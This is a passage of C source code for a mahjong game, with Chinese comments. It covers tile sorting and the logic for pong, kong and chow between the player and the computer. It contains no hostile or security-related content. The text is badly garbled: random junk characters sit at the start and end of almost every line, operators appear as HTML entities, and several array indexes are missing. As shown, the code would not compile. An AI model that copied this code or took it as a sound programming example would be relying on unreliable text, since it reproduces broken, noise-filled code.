/ @) j- B* P# C  C# Q2 i7 Ucomputer.pp[n].number=computer.pp[j+1].number;
8 P9 `- A5 ]0 F* U1 J+ }9 Pcomputer.pp[j+1].number=u;
) y! ~2 {% K3 ~& D- A}
8 ~) A, c9 Y4 z8 [- c  x+ K& H}
$ A4 W, l, k9 D1 M( b2 u6 Y& N( P}
$ s* p/ x3 v4 lvoid melipai()
- C) o% e2 w% J; U% R{ int n,j,u;
; R4 B# I% |4 H8 {$ v8 R5 Xint *lingshi;1 z1 i' N' i* d/ \; \5 V0 N$ z" Q% W
for(n=0;n&lt;me.m;n++)
  u1 t# ]  ?8 q1 \for(j=n;j&lt;me.m;j++)
0 y- r4 y7 d2 t; @. v* K{
6 |- A4 ^! O9 F! m. \if(me.pp[n].number&gt;me.pp[j+1].number): l8 ~! A' i' D4 ]. @
{
6 k' K( Q' q* A4 K7 Ylingshi=me.pp[n].k;
) R' L: y' c# x# Ume.pp[n].k=me.pp[j+1].k;1 I. A- s. F( H0 z* h
me.pp[j+1].k=lingshi;# Y% h) z% W/ \0 N# K" J
u=me.pp[n].oneorfour;
- e3 p: l1 s8 j, [& \me.pp[n].oneorfour=me.pp[j+1].oneorfour;
  ^. m8 c' s7 h( R6 }me.pp[j+1].oneorfour=u;: W4 V8 L) h  f$ B0 n
u=me.pp[n].number;
, b& ~' E; [- N5 R% u$ R2 S, Vme.pp[n].number=me.pp[j+1].number;7 P8 l) N- l; g" g- s' @
me.pp[j+1].number=u;  h3 |. u$ T0 }0 u
}
6 W& Z- d, h$ N/ R; Z: Helse
! C  i# Q: b$ X" b3 T: z% Z( Qif(me.pp[n].number==me.pp[j+1].number)
8 H; H$ N) a! a1 tif(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)
  B) D  Q1 a8 N{! `6 g' n8 k7 U0 u! I5 C
lingshi=me.pp[n].k;
4 J5 I6 {, ^! E0 I$ U2 N+ ume.pp[n].k=me.pp[j+1].k;
! ]/ m; U6 X4 Y/ r9 N% vme.pp[j+1].k=lingshi;
$ c+ P: E( t# h: Mu=me.pp[n].oneorfour;
# g4 z$ Q6 g0 H9 H  D) R7 rme.pp[n].oneorfour=me.pp[j+1].oneorfour;
7 B) A$ v& p) z8 Yme.pp[j+1].oneorfour=u;
+ U9 c& ~4 |; ]+ f/ du=me.pp[n].number;
: L+ }4 f; L8 xme.pp[n].number=me.pp[j+1].number;! N5 e' _! ~) Q7 d7 i9 \- y
me.pp[j+1].number=u;& a9 r% y* V; ]+ z5 k& Y% R
}$ b  [( @' L3 h2 t9 p4 j* x/ M
}/ j: }# \) L, W! m" _* d4 O
}4 r) S$ z" [2 @- D6 {
void rgzn(int c) /*本程序涵数的核心针对电脑的牌*/
( ^2 A& k$ J: _- ?3 D* m. S{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
8 L/ z* c8 j1 a, J  k! i% Yif(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)- A( ~$ r/ c: C& K
{$ V6 `- L+ u) P( {! ~$ Y5 r
logo=1;
: I0 E! F) I) W2 G6 X. X/ u$ mif(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0). x/ |* [$ K: n7 B" [8 K2 Z* a
logoo=1;" B6 _& B: G7 b; k6 r  Y( q
else if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)% Z8 Q* m0 f6 B1 n! |/ @' {# g2 D! N0 R" Z
logoo=2;
. ?8 j* G1 j( N( {% e) ^else if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)
3 ]' L; P9 |5 P' G  }% ~' w4 nlogoo=3;4 v* n, j- W; {/ \0 p
else if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)
8 v' [: E, w2 O  alogoo=4;3 t5 t2 Q5 L/ W
else if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)
5 S% F$ C7 J% t$ _- n% e8 }3 blogoo=5;
; a+ k. p7 Y( V% c+ n6 celse if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)
% Z9 R5 H; R7 d( hlogoo=6;* W. K1 @& `7 H+ T  b; a3 c
else if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)
  `2 u+ J" T/ k+ _% J$ Y4 Z( ulogoo=7;
% c+ Q3 E7 C( k& T6 m! a4 |else if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28). x/ V8 B/ f1 ?& }7 l9 M& X; l
logoo=8;- r- K4 n! H2 n6 G
else if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32)9 u  W( D& h- o$ s) i/ K! A
logoo=9;
) D! x1 O: }: @' p}
/ W6 [$ X2 I' H* }2 celse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)
  L: L7 l9 o# b) O{
: G6 z6 E! b! R. blogo=2;9 t9 c1 i$ E1 |6 u' p! L
if(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)% r$ k. X3 h4 o4 Z% b  u
logoo=1;1 z/ J  X! S6 |/ [
else if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)
' u& Y. V+ M6 V3 L. _4 alogoo=2;8 P. R5 d# N6 V6 l" E5 w! m
else if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)
. K7 \- L, q& r; j4 J4 glogoo=3;3 t/ g1 U- V  X; L5 ?* i( [$ b
else if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)
# A4 u% e. E: @! [- C- Blogoo=4;
! n, l2 w4 v* n3 helse if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)
4 P! u7 c  M, S+ a) _logoo=5;* H4 \, d9 t! r. T/ ^- O
else if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)- X8 L% g: T' y3 d! X
logoo=6;4 L/ u/ D* _. \0 G7 t9 h
else if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)
) t" N& B( F0 r" q! \1 @logoo=7;% n( b3 @; ?7 B/ P# H6 @: N
else if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64). J% i( a7 A& A* J3 F) |
logoo=8;
- {  U6 ~) e. R4 n  _! }& T+ uelse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68)
" j9 K6 q" f% o6 Ulogoo=9;" D- b9 Z! q  ?: Z9 Z, D
}
6 Z- m5 L- P% [else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)
2 r: |; ?# _5 w9 u  {. l" f9 F{
) F$ \7 c; ]/ d% y8 Tlogo=3;3 z  a4 A( @* Q) ?$ B/ E% l
if(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)" \6 p" T' m* J
logoo=1;
! i) n: i- i; h  z9 |4 @else if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)
! n7 k0 S1 N/ v4 T  G/ rlogoo=2;: `3 F" |" w0 g. e
else if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)
) G. p5 Q# e4 W) S0 G/ G3 I( O$ Elogoo=3;8 R( J  p- Q  K& ]) @
else if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84). J# Z8 n, c9 v+ m7 a
logoo=4;1 A$ f; ~" s2 R; _
else if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)8 Q" N- i- T! z: x, w3 I
logoo=5;
& b9 k5 A) Z5 R# Lelse if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92)
6 i. Z, G$ E  h  r# j7 ^logoo=6;" k# v' ]: u4 e8 Z, N
else if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)
- G9 U" [) n: v0 ]logoo=7;8 X$ d  p2 \; R& d; O
else if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)9 T6 p. j  K+ Y+ n
logoo=8;) K  d& \% O* a
else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)
2 C" o# @& T! _2 Nlogoo=9;
9 a" b! ~6 e! ]/ W}# x3 L5 j$ P$ ~8 }. q& ]) W# s
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)
6 r$ B9 n0 r* T" U2 ]{
9 R8 g1 S5 u. D8 g( wlogo=4;
) x- ]/ [6 k0 N9 @- v! t, cif(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)2 q2 B3 E: b9 e, v, P$ x* y
logoo=1;
# ~1 Y/ O0 `; b7 delse if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)- t- c. `2 W1 J2 _% \$ t' J
logoo=2;
) P8 I1 @9 ~1 F4 ?else if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)
( n: N; C$ z7 d: Zlogoo=3;0 d+ b& ^4 i* X. N& T0 Y# e+ h1 U
else if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)
1 ]6 Z/ n- H7 y5 ?logoo=4;) ?) z3 l; S" }% s1 o1 L
else if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)
! _: k$ b& k2 R' `" C' T% blogoo=5;5 w5 P1 Y, [  N# p( R  d# G
else if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)
% `2 b; O# l8 S& \2 }logoo=6;  |# r5 Q! M" A( U) e
else if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)3 w' I& O5 x! c" Z. Q) k
logoo=7;
9 X9 v% T) X, D0 n}
/ k2 }$ m6 y3 h. d2 Uwhile(b&lt;=computer.m)& B5 k  y) Z  M/ F7 \
{
+ t6 \" y9 o. w& @& a* ~if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/; O  s( P$ @5 ^4 u
{. W8 L+ Z$ A5 _( v( j8 E
lg=1;7 D" H" P( j. L1 z
computer.pp.d[0]=1;
/ ^5 K9 L5 h( ]if(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0)
/ o, N. q& ~3 u0 ]& P+ b! t, w1 Z{
; Y+ f! Q+ r: ilgg=1;' I, I/ C% H9 w! L& H
computer.pp.d[1]=1;
6 I* J" U) \" o, ?}
$ a" S% D3 l( t( Selse if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)) W% q) q$ i, j8 \( s# e
{
! M: p8 @$ s; F' f- N) g* vlgg=2;! E3 j2 d# V6 _& ]
computer.pp.d[1]=2;
, X: m0 a2 H8 m}
4 B$ {+ I! n0 \- {2 Celse if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)
  l3 {* k# g- G( F0 H0 V' F" @8 j{
$ @: p& S' j  o- C. tlgg=3;
9 ~& g2 ~2 C6 r# I0 i$ {: m; `computer.pp.d[1]=3;( D' u1 g* ?9 v0 h7 n& `, Q0 |( p& o
}
( j+ ^, s1 ~9 H  \! y- Telse if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)# y* P$ u$ t2 z
{2 P) d5 l" B* j' b) ^) K0 r
lgg=4;
. d3 N  D- i9 scomputer.pp.d[1]=4;8 ?! X% S% s9 r$ g; z
}
+ r, \( ~: v3 S) `5 R8 k" R7 |4 W7 M/ Pelse if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16)
6 y3 T& G0 J6 q{( z, m# S! E& @3 _5 y/ r
lgg=5;  A) R& U1 Z! N  l& {( _
computer.pp.d[1]=5;
- z# \. v1 T4 y$ d1 Y$ }& c& {" F}
- g. F) ?8 [- W7 P  q; Gelse if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)0 r" v3 U6 ]" p$ O7 x" B4 v
{4 T) V0 R& C# ?  Z" T# n% ~
lgg=6;
# L' @& Y1 b" x( Ycomputer.pp.d[1]=6;
. p& n, M0 {9 ~3 y}  Q. n6 m" b/ \
else if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)
' K7 s4 v3 i- M) d# l$ ^{
+ R5 n* N; I4 t3 ]4 ^+ A4 ^lgg=7;! h* U5 X7 j4 t) {# U2 V
computer.pp.d[1]=7;' p6 B( b/ K+ Q4 K& D
}% Y$ r7 q9 w1 t+ J; _
else if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)- E+ |1 X7 W& d1 ~6 K/ i
{
% `% ~- u+ Y8 b% {* o9 flgg=8;; A/ R- v! T0 @8 t
computer.pp.d[1]=8;
" b0 p5 f2 G. @}# v: H3 P% ^$ S2 n
else if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)
- N# S  m2 |) w( a) W# \" q# k{
+ [0 }7 m$ n) o9 dlgg=9;5 V' P2 y; ^, M. e, u- O: l
computer.pp.d[1]=9;! G7 [% i/ {- n% W5 B9 q
}
$ q( r$ k; B% d4 j2 z}9 K, y( o. _0 S* _- V
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)( A$ k# `( `8 v- G9 @; I- c0 y
{0 W+ @" o8 S. v
lg=2;
9 E. {5 y, N  Acomputer.pp.d[0]=2;, l, d* l0 y* A' @
if(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)
! U% @2 I# E$ G3 j{
7 r% E( c7 B5 Y" E' rlgg=1;$ P: Q  d$ l' D% P2 n$ P1 a- G
computer.pp.d[1]=1;
, W/ q0 |9 S5 m}7 F+ O% g8 ^3 i8 Q* I
else if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)
) y4 g; L$ n( L2 r0 [{
, `) Q" v* n; R  Blgg=2;3 a% j$ Y- X* y# B
computer.pp.d[1]=2;
' l4 L6 [1 H; Z8 U7 X}
! A. u  c$ J# ?  {9 H* ^6 Telse if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)
' A0 X% X( f7 s8 H4 \/ z5 \( b{8 G& x7 n+ f! c
lgg=3;9 X' |7 g- c- @4 m7 e7 u
computer.pp.d[1]=3;- H, L# i2 M& c- B
}" E0 z5 Z/ r& |1 B5 R2 i
else if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)
3 \2 z+ r  b' t: c+ r{
. v6 X8 E% z; o' o8 t# y7 ~( q+ flgg=4;& p* L0 Y/ k7 |* B, z0 N6 m8 h
computer.pp.d[1]=4;
  v2 D3 ^2 c4 K# S) u, F  `0 t}) M8 B! V2 g1 {* q$ V8 [" G0 r
else if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)
3 B" u; ?/ r& u4 G1 ^$ p{+ O8 j# ]0 @" ]# N3 b5 w! R
lgg=5;
) ~) l) }) x' M: ^: Icomputer.pp.d[1]=5;: {/ }8 ?( u; A
}# j+ p6 e0 B$ P9 o
else if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)6 Y: J# Y4 N7 P) F* n
{
! L3 f- M: R7 L2 y) i) ^9 V; glgg=6;
1 n' p( @( E" K9 y7 Acomputer.pp.d[1]=6;
( r' _' u1 }0 f9 ~5 t, P}
. c  J& {# b( L8 telse if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60); S: h- r, y  B* w% d
{) Q; Z( [0 @& w! X
lgg=7;2 I2 o) ]& q* d/ h! d7 ?! ~: S
computer.pp.d[1]=7;  N+ O5 |$ F& z9 A2 N9 P) X$ H' W; m
}4 |+ n: ^$ W& b- h2 L7 m* p/ B% D
else if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)
* E3 f/ X3 h; Z( u- I+ O{
/ K/ i2 m$ \; f; R' A4 Elgg=8;
: W6 o1 ]0 R( Q* z; ecomputer.pp.d[1]=8;( `# f; [' Z7 k
}4 F7 ?( n  I+ ^, _1 j
else if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68)8 Z7 b9 m1 u; l  I& F& Y
{
) k, j! i% C, J7 b/ _8 C7 Ilgg=9;
  _3 ^! l! T8 B' Icomputer.pp.d[1]=9;
1 i, q, X; \# h}9 |2 D6 C7 z5 x  U
}$ P, H6 t5 h( N
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)
& ~! C3 w% g2 B4 ?: @9 l3 N7 B% b{, d! U8 o7 Z' Y9 U$ @
lg=3;
2 L, V2 V. f8 j% y8 M1 P$ B" rcomputer.pp.d[0]=3;
3 G# z6 j/ K+ iif(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)+ g8 \1 x; `! j+ R$ t+ ]3 n
{
$ z/ C8 `2 a3 X+ B& Hlgg=1;
6 Q, j+ ?/ @+ ^& U2 Tcomputer.pp.d[1]=1;* }8 ~. o& t& ^
}
7 {, O+ m" j5 l/ B# ^6 b+ Welse if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)
+ p9 `0 o7 W& \* ^7 A1 \; a{1 B( a* V3 t& {2 p$ L
lgg=2;; e! _) w& y. E9 Y9 G9 }$ h
computer.pp.d[1]=2;
7 N( M5 U  d/ e. S3 v0 }}
* p3 A% y/ f/ G  [9 b+ t/ kelse if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)' R- x: X$ T& f
{7 O- f0 w4 g4 w4 z0 C
lgg=3;
2 }# x0 Z; E# X* ?; k  i) lcomputer.pp.d[1]=3;
( z$ s: t% {7 @" c! [2 g- [+ g# r- g}0 Z" {! x/ J8 {/ z' c+ U% ~; P, x
else if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)* N0 X8 o- j# m$ a
{  T/ c; a) b: e9 h7 f8 e9 w% A
lgg=4;
- a' B4 B  l  G9 ~computer.pp.d[1]=4;
# M2 i- Q/ G, d- }) c, Q- B* {}
5 d3 U. ?' h2 h1 w: [; [: A8 I5 E: felse if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)
  J9 T- c8 s4 K{3 l* r0 q! v3 v
lgg=5;
. D2 m" H! b- r  P1 r4 q8 Y6 Gcomputer.pp.d[1]=5;7 h$ D- G- i% ~
}
3 B& Y, {- s! e8 celse if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)7 U( n5 I5 z4 h- a7 X/ f3 L8 {
{/ N9 D. M' R, M3 F( a: m, Q  A
lgg=6;
: b1 V* X  |2 Z$ Mcomputer.pp.d[1]=6;
  e% _/ E$ K( j9 N" V( P}: v) g% x7 E% S& P
else if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)* N( o/ w: G% t  _; ?
{' X8 @; j4 b/ \2 w0 b3 a" c
lgg=7;
8 e* Q8 K; c" h, m* [  g: V$ O6 jcomputer.pp.d[1]=7;3 o+ U* B4 I! F; S+ G! n7 I
}
5 W7 U0 r8 s" v) m2 E) Celse if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)
  F5 e1 _& L7 B, F4 N{; i* N  Q( U" }3 {" q+ F  F" ?* z
lgg=8;
. g% I6 m1 V4 Bcomputer.pp.d[1]=8;! U& {5 m  _% A7 M* o
}# M' l* u" l# V8 U. l
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)$ M; m0 }) p7 i, y7 c2 V
{
  l. `# l, v: ~6 w8 T8 U5 Glgg=9;  A* b/ y5 U: O# a4 l
computer.pp.d[1]=9;
0 o. [" |1 P$ Y. @* |}
0 M( ?& E, ]0 @}
* u4 V6 E" I7 Yelse if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)
! g" _* T% S! E" j) z8 n* E{' r9 n6 {8 t! W) P' ^' L8 _  ^! H/ V' f
lg=4;
9 o6 a, |0 N6 s5 n( @, X5 X- Hcomputer.pp.d[0]=4;0 i8 i! l& {9 a4 u# M( T
if(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)+ S; i7 A& I* ~) a1 ^* T
{* ^. m4 |, _7 l" r
lgg=1;
4 r" N, M7 W0 L, j9 V0 T& |2 Dcomputer.pp.d[1]=1;
( [6 k  T# n; ^}1 Q+ D- a( D. I( o% \3 R
else if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)
/ |  b4 F6 B& G( t3 Q{
6 B1 T" ?) _) c5 ^lgg=2;3 S0 \6 X9 Y( T/ `5 U
computer.pp.d[1]=2;8 N& b2 d7 @1 a6 S7 N4 [
}
/ J/ H3 c9 A, velse if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)
$ Z1 @1 h% M' j6 C3 b8 n{
! B7 e3 s& D0 mlgg=3;
9 k/ |& N8 c( L: Bcomputer.pp.d[1]=3;7 I5 Q7 o% U! u. ]8 v8 Z& \
}
0 Q+ K/ X) V1 @' @else if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120), Y0 L( y3 k8 _3 d: M4 ~
{  y" p0 m- c/ S
lgg=4;
+ Q; M# y' }" X6 E* D2 }computer.pp.d[1]=4;' L, p) o4 O% p  I% L8 @/ _5 {
}) |7 E# u8 A8 x( ^0 a
else if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)
) @  O# ]( F( K3 O" c5 B7 X{
  I- D+ [1 J0 a' dlgg=5;$ W, `$ f7 O; m$ d$ V7 c
computer.pp.d[1]=5;
. }& E  B3 T$ S5 ]3 O" [& @3 L}6 P" L* k6 L2 ]( @! u
else if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)% [+ e: T8 ~* ~( X1 Q0 ]/ q
{+ Y3 W7 v. }% p* a: p1 }
lgg=6;& y# @7 ^. c0 k& [/ t" S! T; }
computer.pp.d[1]=6;& r+ G: {/ O7 v. ]* |
}% y; }% C  s' B1 X# w
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)
$ T, o0 ~7 c* D9 K{' @4 q" J: V2 w$ ^
lgg=7;
: `+ c: m% L* o# J) Y/ C# _computer.pp.d[1]=7;
0 `2 N# x+ L5 c, a}" R* X; o, i& C( Z3 ~
}" O9 j, W2 V" U5 g3 q6 ?

* y! Q; f0 d& F  X4 b; P% ]1 hif(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/
+ J- j9 u  }8 X5 t" q7 T% P# o9 Gif(logoo==lgg)
: k' I5 B& I* p+ ?pg++;
. M* y6 w. [1 k: N& r# pch.lg=lg; /*保存电脑手里的每张牌的信息*/) s% ?: U2 g& F( J) M; `) s
ch.lgg=lgg;5 l1 ]. ~8 l/ l- X
lg=0;
& @. x8 Y7 `# W- _" klgg=0;% K: X( R# [; q5 b) _+ k4 G& o' v
b++;# c; e- z  r  t8 }3 c, T. O7 ~
}' Q: ^" [+ D) r. u: {
if(pg==2) /*乓*// X; g7 C7 l0 p
{
8 H1 Q  d1 {2 @/ |
& l) Z: Z0 P2 W0 M+ O! O1 a: Qsing=1;
, c% \% n1 h6 ?, k: M) S. w# ~b=computer.m;, v+ `4 j  A$ \6 e+ Q" M
while(b!=-1)
1 |2 L" d* B, }7 g9 @2 S8 S{( K6 Q4 C' b$ s8 N
if(strcmp(me.pp[c].k,computer.pp.k)==0)
4 n+ O  P6 r( }! k0 \computer.pp.p=1;
. K. z$ c' r2 G- U/ ~
2 P) z( N! ~* }/ v  Wb--;
: F" I9 J2 y1 ]2 g}
* R6 [/ p8 @6 e% b) F% j- s# ]0 f$ H}9 \. ^5 S# S+ A7 X3 @# H* I" t: q
if(pg==3) /*杠*/0 A/ `2 Y; q" E( f# I; S2 X/ Y7 ?) H
{
5 W2 g5 H/ R  E3 S
$ g8 N/ c' m0 d; E4 hsing=2;
. z: b, V. X/ _( J9 W# k# [b=computer.m;' c- Z4 t; V/ h+ Z$ M
while(b!=-1)
/ S! i3 @. N$ g7 E+ S3 A! }{8 ]: ?, \$ ]: S+ N
if(strcmp(me.pp[c].k,computer.pp.k)==0)
( E, O9 @* T+ Fcomputer.pp.g=1;
6 J% M$ |) o, g8 ]/ e7 z/ H* Bb--;
% A- u3 w7 d1 K) r0 k; p, U! ~}
; H# Y1 i& u7 r8 B# |}' s6 _. ^. i% E: ^- _/ v* ^* [0 r, N
f=0;
5 E5 Y7 s3 a! X0 z$ t7 wwhile(f&lt;computer.m) /*吃的判断*/
: v0 L! L' }3 q6 S{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)
+ f7 F9 P- O+ n% n+ w2 y0 i) r{: \  y0 E  I  F6 ]
if(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/5 m% \. _& P/ m7 B9 a, G2 Q
if(ch[f].lgg-logoo==1)
/ L! v$ P: M) i{7 Q& Q4 g7 O+ I1 I. J/ \
gp++;
2 ~# z5 }) ]; e$ U. Hcomputer.pp[f].c=1;
- U* {* Z: n- H( Ucomputer.pp[f+1].c=1;6 x+ k* Q0 m& Y. F4 ^+ D! U
}) |+ i3 Z8 |9 V7 A; c( L! L
if(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/
# M+ C: r) C: N2 Y8 |& L8 h! M% P8 O. Nif(ch[f+1].lgg-logoo==-1)! t5 S' h$ q. Q- z9 ?# T
{
( e6 t" N( m: |2 B( Ygp++;/ g6 r' R8 ?: E# h' H( M
computer.pp[f].c=1;
% I' _" |+ ^4 x7 H: l% icomputer.pp[f+1].c=1;2 Q0 `) T' G2 I9 A  H: r* ?
}' r# L( n2 |9 P8 {
if(ch[f].lgg-logoo==-1) /*中吃*/5 ]; x) q9 _6 y# g
if(ch[f+1].lgg-logoo==1)
7 Y' H! G, O5 t9 @: s% D{3 V; G% ^9 D* D" E! V% u
gp++;
. R7 O) p# o. [" `* Ocomputer.pp[f].c=1;+ _# I/ z) `5 Z8 p! g1 y" F( d
computer.pp[f+1].c=1;
% a0 L& H' i1 \$ h6 Y}
0 L5 A+ n$ ]  P$ ?if(gp==1)9 w; P+ ^! U) F. K# F2 E
break;" [; m  ]* w0 h3 W! b6 H+ n
}% P2 @: Z  ?3 w, l
f++;
- O. ]: q; e" ], e. {- a% M}* o6 ]# H2 }) ~7 J/ I+ I$ A
if(gp==1)
. U) Z  h! A' P5 O  z& P- V  Y# A{sing=7;
9 r) |  Q& G2 G. }% S+ N  Y, c( `; I5 X# M) k9 Y; v9 |2 ~4 m
}( b8 m& E: N8 \* o/ p) t5 H' W
pg=0;$ B) W8 S6 x+ v: ~6 f7 z1 p' F8 |3 f
gp=0;1 b( u7 `( W% O9 x! z
b=0;3 J% I, g0 G3 M# Z- T
}
5 q; a/ {3 M. `+ n% Evoid rgznme(int c) /*本程序涵数的核心针对我的牌*/
' u0 H8 T% l: t2 P{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
4 Q+ d6 u  Z) o- n/ x, ~if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0)8 _: d1 Y' k+ ?4 `, D
{& W% k0 K- ?. q! P# [/ K: w
logo=1;* {8 s  G4 ]5 B  ]0 ~1 j* _; ^
if(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0)/ s! ?3 [/ B$ v7 o- `9 }
logoo=1;
5 a/ m. e8 U: }4 B2 k) Velse if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)& J& h2 K, L3 l9 {1 w: K
logoo=2;
* C5 E% ?! Y1 selse if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)
" t  B( n6 d) n# h! alogoo=3;
4 Q9 U& O6 @& Xelse if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)
4 ^8 [% v, L& ^$ V8 G( Alogoo=4;
7 q; g$ s* c8 Jelse if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)
+ o  f# V0 M  c( }logoo=5;
1 J$ @3 k# Y" {4 Helse if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20)
0 Q& e8 b  P% m" Klogoo=6;
0 l$ Q) x; R+ \7 _; \else if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)
+ Z! }* ~& |( Z1 Wlogoo=7;
1 X0 N! W. k4 a1 m1 Nelse if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)
/ S* X1 T1 C% flogoo=8;
; u- ~" @: X% A- relse if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)
8 f  Q- E+ \1 ?9 \0 m( Ulogoo=9;/ X8 _. i' D; v! w: }5 W
}
# H6 H9 i9 K- }5 Y/ ?6 ?else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36); \, w/ s: b: P3 f+ B" \3 A. M
{9 B1 U/ h2 h+ t: `4 [
logo=2;
5 h3 X" S- V% i9 Yif(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)- p2 l1 S2 ]0 t9 E) o& g
logoo=1;* r  ~2 c0 e- l
else if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)
# L0 k; v( y  v/ }  [$ i4 Blogoo=2;
/ G/ ^5 `* H4 m$ m, v+ Jelse if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)
' j' ~& A1 F3 c9 Nlogoo=3;
